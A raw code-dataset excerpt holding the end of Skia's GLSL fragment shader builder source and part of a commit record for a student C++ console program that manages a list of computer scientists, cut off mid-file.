fSetupFragPosition(false)\n    , fHasCustomColorOutput(false)\n    , fCustomColorOutputIndex(-1)\n    , fHasSecondaryOutput(false)\n    , fUsedSampleOffsetArrays(0)\n    , fHasInitializedSampleMask(false)\n    , fForceHighPrecision(false) {\n    fSubstageIndices.push_back(0);\n#ifdef SK_DEBUG\n    fUsedProcessorFeatures = GrProcessor::kNone_RequiredFeatures;\n    fHasReadDstColor = false;\n#endif\n}\n\nbool GrGLSLFragmentShaderBuilder::enableFeature(GLSLFeature feature) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    switch (feature) {\n        case kMultisampleInterpolation_GLSLFeature:\n            if (!shaderCaps.multisampleInterpolationSupport()) {\n                return false;\n            }\n            if (const char* extension = shaderCaps.multisampleInterpolationExtensionString()) {\n                this->addFeature(1 << kMultisampleInterpolation_GLSLFeature, extension);\n            }\n            return true;\n        default:\n            SK_ABORT(\"Unexpected GLSLFeature requested.\");\n            return false;\n    }\n}\n\nSkString GrGLSLFragmentShaderBuilder::ensureCoords2D(const GrShaderVar& coords) {\n    if (kHighFloat3_GrSLType != coords.getType() && kHalf3_GrSLType != coords.getType()) {\n        SkASSERT(kHighFloat2_GrSLType == coords.getType() || kHalf2_GrSLType == coords.getType());\n        return coords.getName();\n    }\n\n    SkString coords2D;\n    coords2D.printf(\"%s_ensure2D\", coords.c_str());\n    this->codeAppendf(\"\\thighfloat2 %s = %s.xy \/ %s.z;\", coords2D.c_str(), coords.c_str(),\n                      coords.c_str());\n    return coords2D;\n}\n\nvoid GrGLSLFragmentShaderBuilder::appendOffsetToSample(const char* sampleIdx, Coordinates coords) {\n    SkASSERT(fProgramBuilder->header().fSamplePatternKey);\n    SkDEBUGCODE(fUsedProcessorFeatures |= GrProcessor::kSampleLocations_RequiredFeature);\n    if (kTopLeft_GrSurfaceOrigin == this->getSurfaceOrigin()) {\n        \/\/ With a top left origin, device and window space are equal, so we only use device coords.\n        coords = kSkiaDevice_Coordinates;\n    }\n    this->codeAppendf(\"%s[%s]\", sample_offset_array_name(coords), sampleIdx);\n    fUsedSampleOffsetArrays |= (1 << coords);\n}\n\nvoid GrGLSLFragmentShaderBuilder::maskSampleCoverage(const char* mask, bool invert) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    if (!shaderCaps.sampleVariablesSupport()) {\n        SkDEBUGFAIL(\"Attempted to mask sample coverage without support.\");\n        return;\n    }\n    if (const char* extension = shaderCaps.sampleVariablesExtensionString()) {\n        this->addFeature(1 << kSampleVariables_GLSLPrivateFeature, extension);\n    }\n    if (!fHasInitializedSampleMask) {\n        this->codePrependf(\"gl_SampleMask[0] = -1;\");\n        fHasInitializedSampleMask = true;\n    }\n    if (invert) {\n        this->codeAppendf(\"gl_SampleMask[0] &= ~(%s);\", mask);\n    } else {\n        this->codeAppendf(\"gl_SampleMask[0] &= %s;\", mask);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::overrideSampleCoverage(const char* mask) {\n    const GrShaderCaps& shaderCaps = *fProgramBuilder->shaderCaps();\n    if (!shaderCaps.sampleMaskOverrideCoverageSupport()) {\n        SkDEBUGFAIL(\"Attempted to override sample coverage without support.\");\n        return;\n    }\n    SkASSERT(shaderCaps.sampleVariablesSupport());\n    if (const char* extension = shaderCaps.sampleVariablesExtensionString()) {\n        this->addFeature(1 << kSampleVariables_GLSLPrivateFeature, extension);\n    }\n    if (this->addFeature(1 << kSampleMaskOverrideCoverage_GLSLPrivateFeature,\n                         \"GL_NV_sample_mask_override_coverage\")) {\n        \/\/ Redeclare gl_SampleMask with layout(override_coverage) if we haven't already.\n        fOutputs.push_back().set(kInt_GrSLType, \"gl_SampleMask\", 1, GrShaderVar::kOut_TypeModifier,\n                                 kHigh_GrSLPrecision, \"override_coverage\");\n    }\n    this->codeAppendf(\"gl_SampleMask[0] = %s;\", mask);\n    fHasInitializedSampleMask = true;\n}\n\nconst char* GrGLSLFragmentShaderBuilder::dstColor() {\n    SkDEBUGCODE(fHasReadDstColor = true;)\n\n    const char* override = fProgramBuilder->primitiveProcessor().getDestColorOverride();\n    if (override != nullptr) {\n        return override;\n    }\n\n    const GrShaderCaps* shaderCaps = fProgramBuilder->shaderCaps();\n    if (shaderCaps->fbFetchSupport()) {\n        this->addFeature(1 << kFramebufferFetch_GLSLPrivateFeature,\n                         shaderCaps->fbFetchExtensionString());\n\n        \/\/ Some versions of this extension string require declaring custom color output on ES 3.0+\n        const char* fbFetchColorName = shaderCaps->fbFetchColorName();\n        if (shaderCaps->fbFetchNeedsCustomOutput()) {\n            this->enableCustomOutput();\n            fOutputs[fCustomColorOutputIndex].setTypeModifier(GrShaderVar::kInOut_TypeModifier);\n            fbFetchColorName = DeclaredColorOutputName();\n            \/\/ Set the dstColor to an intermediate variable so we don't override it with the output\n            this->codeAppendf(\"half4 %s = %s;\", kDstColorName, fbFetchColorName);\n        } else {\n            return fbFetchColorName;\n        }\n    }\n    return kDstColorName;\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableAdvancedBlendEquationIfNeeded(GrBlendEquation equation) {\n    SkASSERT(GrBlendEquationIsAdvanced(equation));\n\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    if (!caps.mustEnableAdvBlendEqs()) {\n        return;\n    }\n\n    this->addFeature(1 << kBlendEquationAdvanced_GLSLPrivateFeature,\n                     \"GL_KHR_blend_equation_advanced\");\n    if (caps.mustEnableSpecificAdvBlendEqs()) {\n        this->addLayoutQualifier(specific_layout_qualifier_name(equation), kOut_InterfaceQualifier);\n    } else {\n        this->addLayoutQualifier(\"blend_support_all_equations\", kOut_InterfaceQualifier);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableCustomOutput() {\n    if (!fHasCustomColorOutput) {\n        fHasCustomColorOutput = true;\n        fCustomColorOutputIndex = fOutputs.count();\n        fOutputs.push_back().set(kHalf4_GrSLType, DeclaredColorOutputName(),\n                                 GrShaderVar::kOut_TypeModifier);\n        fProgramBuilder->finalizeFragmentOutputColor(fOutputs.back()); \n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::enableSecondaryOutput() {\n    SkASSERT(!fHasSecondaryOutput);\n    fHasSecondaryOutput = true;\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    if (const char* extension = caps.secondaryOutputExtensionString()) {\n        this->addFeature(1 << kBlendFuncExtended_GLSLPrivateFeature, extension);\n    }\n\n    \/\/ If the primary output is declared, we must declare also the secondary output\n    \/\/ and vice versa, since it is not allowed to use a built-in gl_FragColor and a custom\n    \/\/ output. The condition also co-incides with the condition in whici GLES SL 2.0\n    \/\/ requires the built-in gl_SecondaryFragColorEXT, where as 3.0 requires a custom output.\n    if (caps.mustDeclareFragmentShaderOutput()) {\n        fOutputs.push_back().set(kHalf4_GrSLType, DeclaredSecondaryColorOutputName(),\n                                 GrShaderVar::kOut_TypeModifier);\n        fProgramBuilder->finalizeFragmentSecondaryColor(fOutputs.back());\n    }\n}\n\nconst char* GrGLSLFragmentShaderBuilder::getPrimaryColorOutputName() const {\n    return fHasCustomColorOutput ? DeclaredColorOutputName() : \"sk_FragColor\";\n}\n\nvoid GrGLSLFragmentBuilder::declAppendf(const char* fmt, ...) {\n    va_list argp;\n    va_start(argp, fmt);\n    inputs().appendVAList(fmt, argp);\n    va_end(argp);\n}\n\nconst char* GrGLSLFragmentShaderBuilder::getSecondaryColorOutputName() const {\n    const GrShaderCaps& caps = *fProgramBuilder->shaderCaps();\n    return caps.mustDeclareFragmentShaderOutput() ? DeclaredSecondaryColorOutputName()\n                                                  : \"gl_SecondaryFragColorEXT\";\n}\n\nGrSurfaceOrigin GrGLSLFragmentShaderBuilder::getSurfaceOrigin() const {\n    SkASSERT(fProgramBuilder->header().fSurfaceOriginKey);\n    return static_cast<GrSurfaceOrigin>(fProgramBuilder->header().fSurfaceOriginKey-1);\n\n    GR_STATIC_ASSERT(0 == kTopLeft_GrSurfaceOrigin);\n    GR_STATIC_ASSERT(1 == kBottomLeft_GrSurfaceOrigin);\n}\n\nvoid GrGLSLFragmentShaderBuilder::onFinalize() {\n    fProgramBuilder->varyingHandler()->getFragDecls(&this->inputs(), &this->outputs());\n    if (fUsedSampleOffsetArrays & (1 << kSkiaDevice_Coordinates)) {\n        this->defineSampleOffsetArray(sample_offset_array_name(kSkiaDevice_Coordinates),\n                                      SkMatrix::MakeTrans(-0.5f, -0.5f));\n    }\n    if (fUsedSampleOffsetArrays & (1 << kGLSLWindow_Coordinates)) {\n        \/\/ With a top left origin, device and window space are equal, so we only use device coords.\n        SkASSERT(kBottomLeft_GrSurfaceOrigin == this->getSurfaceOrigin());\n        SkMatrix m;\n        m.setScale(1, -1);\n        m.preTranslate(-0.5f, -0.5f);\n        this->defineSampleOffsetArray(sample_offset_array_name(kGLSLWindow_Coordinates), m);\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::defineSampleOffsetArray(const char* name, const SkMatrix& m) {\n    SkASSERT(fProgramBuilder->caps()->sampleLocationsSupport());\n    const GrPipeline& pipeline = fProgramBuilder->pipeline();\n    const GrRenderTargetPriv& rtp = pipeline.renderTarget()->renderTargetPriv();\n    const GrGpu::MultisampleSpecs& specs = rtp.getMultisampleSpecs(pipeline);\n    SkSTArray<16, SkPoint, true> offsets;\n    offsets.push_back_n(specs.fEffectiveSampleCnt);\n    m.mapPoints(offsets.begin(), specs.fSampleLocations, specs.fEffectiveSampleCnt);\n    this->definitions().appendf(\"const highfloat2 %s[] = highfloat2[](\", name);\n    for (int i = 0; i < specs.fEffectiveSampleCnt; ++i) {\n        this->definitions().appendf(\"highfloat2(%f, %f)\", offsets[i].x(), offsets[i].y());\n        this->definitions().append(i + 1 != specs.fEffectiveSampleCnt ? \", \" : \");\\n\");\n    }\n}\n\nvoid GrGLSLFragmentShaderBuilder::onBeforeChildProcEmitCode() {\n    SkASSERT(fSubstageIndices.count() >= 1);\n    fSubstageIndices.push_back(0);\n    \/\/ second-to-last value in the fSubstageIndices stack is the index of the child proc\n    \/\/ at that level which is currently emitting code.\n    fMangleString.appendf(\"_c%d\", fSubstageIndices[fSubstageIndices.count() - 2]);\n}\n\nvoid GrGLSLFragmentShaderBuilder::onAfterChildProcEmitCode() {\n    SkASSERT(fSubstageIndices.count() >= 2);\n    fSubstageIndices.pop_back();\n    fSubstageIndices.back()++;\n    int removeAt = fMangleString.findLastOf('_');\n    fMangleString.remove(removeAt, fMangleString.size() - removeAt);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <string>\n#include \"consoleui.h\"\n#include \"scientist.h\"\n#include <iomanip>\n\n\nusing namespace std;\n\nConsoleUI::ConsoleUI()\n{\n    _service.getScientists();  \/\/ gets information from file so it's used from the beginning.\n}\nvoid ConsoleUI::run()                                       \/\/ The main function\n{\n    \/*\n     * This is the main function body, that is run at the start of the program every time\n     * and gives the user the option to run a few functions like, userMenuAdd(), userMenuList()\n     * userMenuSearch(), userMenuSort(), userMenuPrint(). User can also end the program from here.\n     *\/\n\n    string command;\n    cout << string( 100, '\\n' );\n\n    while(true)\n    {\n        cout << \"Select one of the following options: \" << endl;\n        cout << \"======================================================================\" << endl;\n        cout << \"Add     -   add a programmer\/computer scientist\" << endl;\n        cout << \"Remove  -   remove a programmer\/computer scientist\" << endl;\n        cout << \"List    -   show a list of all programmer's\/computer scientist's\" << endl;\n        cout << \"Search  -   search the list of programmer's\/computer scientist's\" << endl;\n        cout << \"Sort    -   sort list by name, gender, age or year of death\" << endl;\n        cout << \"Quit    -   end program\" << endl;\n\n        cout << \"Select: \";\n        cin >> command;\n        forceLowerCase(command);\n\n        if(command == \"add\")\n        {\n           userMenuAdd();\n        }\n        else if(command == \"remove\")\n        {\n           userMenuRemove();\n        }\n        else if(command == \"list\")\n        {\n           userMenuList();\n        }\n        else if(command == \"search\")\n        {\n           userMenuSearch();\n        }\n        else if(command == \"sort\")\n        {\n            userMenuSort();\n        }\n        else if(command == \"quit\")\n        {\n            cout << string( 100, '\\n' );\n            break;\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Invalid input\" << endl;\n            cout << endl;\n        }\n    }\n}\nvoid ConsoleUI::userMenuAdd()                               \/\/ Adds a new programmer\n{\n    string name;\n    string genderInput;\n    char gender;\n    int birthYear;\n    int deathYear = 0;\n    int age = 0;\n    int a;\n\n    while(true)\n    {\n        cout << string( 100, '\\n' );\n\n        cout << \"Enter the programmer's\/computer scientist's name: \";\n        cin.ignore();\n        getline(cin, name);\n\n        cout << string( 100, '\\n' );\n        \/\/ Check for gender\n        while(true)\n        {\n            cout << \"Enter the programmer's\/computer scientist's gender (m\/f): \";\n            cin >> genderInput;\n            forceLowerCase(genderInput);\n\n            if((genderInput == \"m\") || (genderInput == \"f\"))\n            {\n                gender = genderInput[0];\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n                break;\n\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n\n            }\n\n        }\n\n        cout << string( 100, '\\n' );\n        \/\/ Check year of birth\n        while(true)\n        {\n            bool inputCheck;\n            do\n            {\n                cout << \"Enter the programmer's\/computer scientist's year of birth: \";\n                cin >> birthYear;\n                inputCheck = cin.fail();\n                if(inputCheck)\n                {\n                    cout << string( 100, '\\n' );\n                    cout << \"Invalid input\" << endl;\n                }\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n\n            }while(inputCheck);\n\n            if(birthYear < 2016) \/\/ Just in case we find a programmer of the univers\n            {\n                break;\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n            }\n        }\n\n        cout << string( 100, '\\n' );\n        \/\/ Check when year of death (if dead)\n        while(true)\n        {    \n            bool inputCheck;\n            do\n            {\n\n\n                cout << \"Enter the programmer's\/computer scientist's year of death (type 0 if not applicable): \";\n                cin >> deathYear;\n                inputCheck = cin.fail();\n                if(inputCheck)\n                {\n                    cout << string( 100, '\\n' );\n                    cout << \"Invalid input\" << endl;\n                }\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n\n            }while(inputCheck);\n\n\n            if (deathYear == 0)\n            {\n                break;\n            }\n            else if(deathYear >= birthYear)\n            {\n                break;\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n            }\n        }\n\n\n        \/\/ Check if input is correct\n        cout << string( 100, '\\n' );\n\n        cout << \"Name: \" << name << endl << \"Gender: \" << gender << endl << \"Born: \" << birthYear << endl;\n\n        if(deathYear != 0)\n        {\n            cout << \"Died: \" << deathYear << endl;\n        }\n        else\n        {\n            cout << endl;\n        }\n\n\n\n        a = userCheckInput();\n\n        if (a == 0)\n        {\n            \/\/ false sama nafn\n            if(_service.addScientist(name, gender, birthYear, deathYear, age))\n            {\n                break;\n            }\n            else\n            {\n                int userInput;\n                cout << string( 100, '\\n' );\n\n                cout << \"This name is allready taken, replace existing name(1), start over(2)\" << endl;\n                cout << \"Select: \";\n                cin >> userInput;\n                if(userInput == 1)\n                {\n                    _service.removeScientist(name);\n                    _service.addScientist(name, gender, birthYear, deathYear, age);\n                    break;\n                }\n\n            }\n        }\n        else if (a == 2)\n        {\n            break;\n        }\n\n    }\n    cout << endl;\n\n}\nvoid ConsoleUI::userMenuList()                              \/\/ List of commands\n{\n    vector<Scientist> scientist = _service.getScientists();\n    userMenuPrint(scientist);\n}\nvoid ConsoleUI::userMenuSearch()                            \/\/ Search list\n{\n    string command;\n\n    cout << string( 100, '\\n' );\n    cout << \"Select a search option: \" << endl;\n    cout << \"===================================\" << endl;\n    cout << \"Name    -   Search by name\" << endl;\n    cout << \"Gender  -   Search by gender\" << endl;\n    cout << \"Age     -   Search by age\" << endl;\n    cout << \"Birth   -   search by year of birth\" << endl;\n    cout << \"Death   -   search by year of death\" << endl;\n    cout << \"Select: \";\n    cin >> command;\n    cin.clear();\n    cin.ignore(INT_MAX, '\\n');\n    cout << endl;\n\n    forceLowerCase(command);\n\n    if(command == \"name\") \/\/ Find scientist by name\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Search by name: \";\n        getline(cin, userInputName);\n\n        vector<Scientist> scientist = _service.findScientistByName(userInputName);\n        userMenuPrint(scientist);\n\n    }\n    else if(command == \"gender\") \/\/ Find scientist by gender\n    {\n        char userInputGender;\n        cout << string( 100, '\\n' );\n\n        cout << \"Search by gender: \";\n        cin >> userInputGender;\n\n        vector<Scientist> scientist = _service.findScientistByGender(userInputGender);\n        userMenuPrint(scientist);\n    }\n    else if(command == \"age\") \/\/ Find scientist by age\n    {\n        int inputCheck;\n\n        cout << \"To search by age(1), to search by range of age(2)\" << endl;\n        cin >> inputCheck;\n        if(inputCheck == 1)\n        {\n            int userInputAge;\n            cout << \"Search by age: \";\n            cout << \"Select: \";\n            cin >> userInputAge;\n\n            vector<Scientist> scientist = _service.findScientistByAge(userInputAge);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputAgeFirst;\n            int userInputAgeLast;\n            cout << \"Search from age: \";\n            cin >> userInputAgeFirst;\n            cout << endl;\n            cout << \"to age: \";\n            cin >> userInputAgeLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByAgeRange(userInputAgeFirst, userInputAgeLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n    }\n    else if(command == \"birth\")\n    {\n        int inputCheck;\n\n        cout << \"To search by year of birth(1), to search by range of year of birth(2)\" << endl;\n        cin >> inputCheck;\n\n        if(inputCheck == 1)\n        {\n            int userInputBirth;\n\n            cout << \"Search by year of birth: \";\n            cin >> userInputBirth;\n\n            vector<Scientist> scientist = _service.findScientistByBirth(userInputBirth);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputBirthFirst;\n            int userInputBirthLast;\n\n            cout << \"Search from year of birth: \";\n            cin >> userInputBirthFirst;\n            cout << endl;\n            cout << \"to year of birth: \";\n            cin >> userInputBirthLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByBirthRange(userInputBirthFirst, userInputBirthLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n\n    }\n    else if(command == \"death\")\n    {\n        int inputCheck;\n\n        cout << \"To search by year of death(1), to search by range of year of death(2)\" << endl;\n        cin >> inputCheck;\n\n        if(inputCheck == 1)\n        {\n            int userInputDeath;\n\n            cout << \"Search by year of death (0 for still alive): \";\n            cin >> userInputDeath;\n\n            vector<Scientist> scientist = _service.findScientistByDeath(userInputDeath);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputDeathFirst;\n            int userInputDeathLast;\n\n            cout << \"Search from year of death (0 for still alive): \";\n            cin >> userInputDeathFirst;\n            cout << endl;\n            cout << \"to year of death (0 for still alive): \";\n            cin >> userInputDeathLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByDeathRange(userInputDeathFirst, userInputDeathLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n\n    }\n    cout << endl;\n\n}\nvoid ConsoleUI::userMenuSort()                              \/\/ Sort list\n{ \n    bool inputCheck = true;\n    int userInput;\n\n    do\n    {\n        cout << string( 100, '\\n' );\n\n        cout << \"Sort list by Name A-Z(1), Name Z-A(2), Gender(3), Year of Birth(4), Year of Death(5) or Age (6)\" << endl;\n        cout << \"Select: \";\n        cin >> userInput;\n\n        if(userInput > 0 && userInput < 7) \/\/ check if input is int and if it ranges from 1 to 6\n        {\n            inputCheck = false;\n        }\n        else if(cin.fail())\n        {\n            cout << \"Invalid input\" << endl;\n        }\n        else\n        {\n            cout << \"Invalid input\" << endl;\n        }\n        cin.clear();\n        cin.ignore(INT_MAX, '\\n');\n    }while(inputCheck);\n\n\n     _service.scientistSort(userInput);\n     userMenuList();\n}\nvoid ConsoleUI::userMenuPrint(vector<Scientist>scientist)   \/\/ Print list\n{\n    cout << string( 100, '\\n' );\n    cout << left << setw(30) << \"Scientist name:\"\n         << setw(10) << right << \"gender:\"\n         << setw(10) << \"born:\"\n         << setw(10) << \"died:\"\n         << setw(10) << \"age:\" << endl;\n    cout << \"======================================================================\" << endl;\n    for (size_t i = 0; i< scientist.size(); ++i)\n    {\n        cout << left << setw(30) << scientist[i].getName()\n             << setw(10) << right << scientist[i].getGender()\n             << setw(10) << scientist[i].getBirth();\n\n\n             if(scientist[i].getDeath() == 0)\n             {\n                 cout << setw(10) << \"-\";\n             }\n             else\n             {\n                 cout << setw(10) << scientist[i].getDeath();\n             }\n             cout << setw(10) << scientist[i].getAge() << endl;\n\n\n    }\n    cout << \"======================================================================\" << endl;\n    cout << \"To return to menu input the letter m\" << string( 2, '\\n' );\n\n   string userInput = \" \";\n   while (userInput != \"m\")\n   {\n       cin >> userInput;\n   }\n}\nint  ConsoleUI::userCheckInput()                            \/\/ Check input from userMenuAdd\n{\n    \/\/ Check if all data is correct\n    while(true)\n    {\n        char answear;\n        cout << \"Is this data correct? (input y\/n) or press q to quit\" << endl;\n        cout << \"Select: \";\n        cin >> answear;\n\n        if(answear == 'y')\n        {\n            return 0;\n        }\n        else if (answear == 'n')\n        {\n            return 1;\n        }\n        else if (answear == 'q')\n        {\n            return 2;\n        }\n        else\n        {\n            cout << \"Invalid input!\";\n        }\n\n    }\n}\nvoid ConsoleUI::userMenuRemove()                            \/\/ Removes a programmer\n{\n    int command;\n\n    cin >> command;\n    cin.clear();\n    cin.ignore(INT_MAX, '\\n');\n    cout << endl;\n\n    if(command == 1) \/\/ Remove 1 programmer\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Remove a programmer\/computer scientist: \";\n        cin.ignore();\n        getline(cin, userInputName);\n\n        _service.removeScientist(userInputName);\n        cout << string( 100, '\\n' );\n        userMenuList();\n    }\n    else if(command == 2) \/\/ Remove all programmers\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Remove a programmer\/computer scientist: \";\n        cin.ignore();\n        getline(cin, userInputName);\n\n        _service.removeAllScientist(userInputName);\n        cout << string( 100, '\\n' );\n        userMenuList();\n    }\n    else\n    {\n        cout << string( 100, '\\n' );\n        cout << \"Wrong Input\" << endl;\n    }\n}\nvoid ConsoleUI::forceLowerCase(string &command)             \/\/ Force input to lower case\n{\n    for(unsigned int i = 0; i < command.length(); i++) \/\/ to make all lowercase, taken from c++ site\n    {\n        command[i] = tolower(command[i]);\n    }\n}\n<commit_msg>Remove all update UI<commit_after>#include <iostream>\n#include <string>\n#include \"consoleui.h\"\n#include \"scientist.h\"\n#include <iomanip>\n\n\nusing namespace std;\n\nConsoleUI::ConsoleUI()\n{\n    _service.getScientists();  \/\/ gets information from file so it's used from the beginning.\n}\nvoid ConsoleUI::run()                                       \/\/ The main function\n{\n    \/*\n     * This is the main function body, that is run at the start of the program every time\n     * and gives the user the option to run a few functions like, userMenuAdd(), userMenuList()\n     * userMenuSearch(), userMenuSort(), userMenuPrint(). User can also end the program from here.\n     *\/\n\n    string command;\n    cout << string( 100, '\\n' );\n\n    while(true)\n    {\n        cout << \"Select one of the following options: \" << endl;\n        cout << \"======================================================================\" << endl;\n        cout << \"Add     -   add a programmer\/computer scientist\" << endl;\n        cout << \"Remove  -   remove a programmer\/computer scientist\" << endl;\n        cout << \"List    -   show a list of all programmer's\/computer scientist's\" << endl;\n        cout << \"Search  -   search the list of programmer's\/computer scientist's\" << endl;\n        cout << \"Sort    -   sort list by name, gender, age or year of death\" << endl;\n        cout << \"Quit    -   end program\" << endl;\n\n        cout << \"Select: \";\n        cin >> command;\n        forceLowerCase(command);\n\n        if(command == \"add\")\n        {\n           userMenuAdd();\n        }\n        else if(command == \"remove\")\n        {\n           userMenuRemove();\n        }\n        else if(command == \"list\")\n        {\n           userMenuList();\n        }\n        else if(command == \"search\")\n        {\n           userMenuSearch();\n        }\n        else if(command == \"sort\")\n        {\n            userMenuSort();\n        }\n        else if(command == \"quit\")\n        {\n            cout << string( 100, '\\n' );\n            break;\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Invalid input\" << endl;\n            cout << endl;\n        }\n    }\n}\nvoid ConsoleUI::userMenuAdd()                               \/\/ Adds a new programmer\n{\n    string name;\n    string genderInput;\n    char gender;\n    int birthYear;\n    int deathYear = 0;\n    int age = 0;\n    int a;\n\n    while(true)\n    {\n        cout << string( 100, '\\n' );\n\n        cout << \"Enter the programmer's\/computer scientist's name: \";\n        cin.ignore();\n        getline(cin, name);\n\n        cout << string( 100, '\\n' );\n        \/\/ Check for gender\n        while(true)\n        {\n            cout << \"Enter the programmer's\/computer scientist's gender (m\/f): \";\n            cin >> genderInput;\n            forceLowerCase(genderInput);\n\n            if((genderInput == \"m\") || (genderInput == \"f\"))\n            {\n                gender = genderInput[0];\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n                break;\n\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n\n            }\n\n        }\n\n        cout << string( 100, '\\n' );\n        \/\/ Check year of birth\n        while(true)\n        {\n            bool inputCheck;\n            do\n            {\n                cout << \"Enter the programmer's\/computer scientist's year of birth: \";\n                cin >> birthYear;\n                inputCheck = cin.fail();\n                if(inputCheck)\n                {\n                    cout << string( 100, '\\n' );\n                    cout << \"Invalid input\" << endl;\n                }\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n\n            }while(inputCheck);\n\n            if(birthYear < 2016) \/\/ Just in case we find a programmer of the univers\n            {\n                break;\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n            }\n        }\n\n        cout << string( 100, '\\n' );\n        \/\/ Check when year of death (if dead)\n        while(true)\n        {    \n            bool inputCheck;\n            do\n            {\n\n\n                cout << \"Enter the programmer's\/computer scientist's year of death (type 0 if not applicable): \";\n                cin >> deathYear;\n                inputCheck = cin.fail();\n                if(inputCheck)\n                {\n                    cout << string( 100, '\\n' );\n                    cout << \"Invalid input\" << endl;\n                }\n                cin.clear();\n                cin.ignore(INT_MAX, '\\n');\n\n            }while(inputCheck);\n\n\n            if (deathYear == 0)\n            {\n                break;\n            }\n            else if(deathYear >= birthYear)\n            {\n                break;\n            }\n            else\n            {\n                cout << string( 100, '\\n' );\n                cout << \"Invalid input\" << endl;\n            }\n        }\n\n\n        \/\/ Check if input is correct\n        cout << string( 100, '\\n' );\n\n        cout << \"Name: \" << name << endl << \"Gender: \" << gender << endl << \"Born: \" << birthYear << endl;\n\n        if(deathYear != 0)\n        {\n            cout << \"Died: \" << deathYear << endl;\n        }\n        else\n        {\n            cout << endl;\n        }\n\n\n\n        a = userCheckInput();\n\n        if (a == 0)\n        {\n            \/\/ false sama nafn\n            if(_service.addScientist(name, gender, birthYear, deathYear, age))\n            {\n                break;\n            }\n            else\n            {\n                int userInput;\n                cout << string( 100, '\\n' );\n\n                cout << \"This name is allready taken, replace existing name(1), start over(2)\" << endl;\n                cout << \"Select: \";\n                cin >> userInput;\n                if(userInput == 1)\n                {\n                    _service.removeScientist(name);\n                    _service.addScientist(name, gender, birthYear, deathYear, age);\n                    break;\n                }\n\n            }\n        }\n        else if (a == 2)\n        {\n            break;\n        }\n\n    }\n    cout << endl;\n\n}\nvoid ConsoleUI::userMenuList()                              \/\/ List of commands\n{\n    vector<Scientist> scientist = _service.getScientists();\n    userMenuPrint(scientist);\n}\nvoid ConsoleUI::userMenuSearch()                            \/\/ Search list\n{\n    string command;\n\n    cout << string( 100, '\\n' );\n    cout << \"Select a search option: \" << endl;\n    cout << \"===================================\" << endl;\n    cout << \"Name    -   Search by name\" << endl;\n    cout << \"Gender  -   Search by gender\" << endl;\n    cout << \"Age     -   Search by age\" << endl;\n    cout << \"Birth   -   search by year of birth\" << endl;\n    cout << \"Death   -   search by year of death\" << endl;\n    cout << \"Select: \";\n    cin >> command;\n    cin.clear();\n    cin.ignore(INT_MAX, '\\n');\n    cout << endl;\n\n    forceLowerCase(command);\n\n    if(command == \"name\") \/\/ Find scientist by name\n    {\n        string userInputName;\n        cout << string( 100, '\\n' );\n\n        cout << \"Search by name: \";\n        getline(cin, userInputName);\n\n        vector<Scientist> scientist = _service.findScientistByName(userInputName);\n        userMenuPrint(scientist);\n\n    }\n    else if(command == \"gender\") \/\/ Find scientist by gender\n    {\n        char userInputGender;\n        cout << string( 100, '\\n' );\n\n        cout << \"Search by gender: \";\n        cin >> userInputGender;\n\n        vector<Scientist> scientist = _service.findScientistByGender(userInputGender);\n        userMenuPrint(scientist);\n    }\n    else if(command == \"age\") \/\/ Find scientist by age\n    {\n        int inputCheck;\n\n        cout << \"To search by age(1), to search by range of age(2)\" << endl;\n        cin >> inputCheck;\n        if(inputCheck == 1)\n        {\n            int userInputAge;\n            cout << \"Search by age: \";\n            cout << \"Select: \";\n            cin >> userInputAge;\n\n            vector<Scientist> scientist = _service.findScientistByAge(userInputAge);\n            userMenuPrint(scientist);\n        }\n        else if(inputCheck == 2)\n        {\n            int userInputAgeFirst;\n            int userInputAgeLast;\n            cout << \"Search from age: \";\n            cin >> userInputAgeFirst;\n            cout << endl;\n            cout << \"to age: \";\n            cin >> userInputAgeLast;\n            cout << endl;\n\n            vector<Scientist> scientist = _service.findScientistByAgeRange(userInputAgeFirst, userInputAgeLast);\n            userMenuPrint(scientist);\n        }\n        else\n        {\n            cout << string( 100, '\\n' );\n            cout << \"Wrong Input\" << endl;\n        }\n    }\n    else if(command == \"birth\")\n   